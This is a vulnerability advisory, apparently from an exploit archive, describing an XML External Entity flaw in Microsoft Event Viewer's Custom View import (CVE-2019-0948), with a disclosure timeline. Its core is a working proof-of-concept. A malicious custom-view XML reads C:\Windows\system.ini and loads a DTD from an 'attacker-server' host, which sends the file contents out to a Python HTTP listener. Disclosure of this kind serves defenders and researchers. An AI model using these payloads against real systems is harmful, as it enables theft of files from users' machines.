Microsoft Event Viewer 1.0 – XML External Entity Injection
[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EVENT-VIEWER-XXE-FILE-EXFILTRATION.txt [+] ISR: ApparitionSec [+] CVE: CVE-2019-0948 Vendor: ================= www.microsoft.com Product: ======================== Microsoft Event Viewer Version: 1.0 The Windows Event Viewer shows a log of application and system messages – errors, information messages, and warnings. Vulnerability Type: =================== XML External Entity CVE Reference: ============== N/A Vulnerability Details: ===================== Windows Event Viewer user can import 'Custom View' files, these files contain XML, the parser processes External Entity potentially allowing attackers to gain remote file access to files on a victims system if user imports a corrupt XML file via remote share/USB (or other untrusted source). Tested Windows 7 SP1 Exploit code(s): =============== 1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer. 2) Action / Import Custom View 3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC 4) Files are accessed and sent to remote server. User gets error like "The specified custom view is not valid" attacker gets files! "payload.dtd" (host on attacker server) <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>"> %all; "MyCustomView.xml" (malicious windows Event Custom View XML) <?xml version="1.0"?> <!DOCTYPE APPARITION [ <!ENTITY % file SYSTEM "C:\Windows\system.ini"> <!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd"> %dtd;]> <pwn>&send;</pwn> Attacker server listener python -m SimpleHTTPServer 8080 Disclosure Timeline: ===================================== Vendor Notification: August 30, 2016 Vendor reply: "does not meet the bar for security servicing." August 30, 2016 December 4, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx |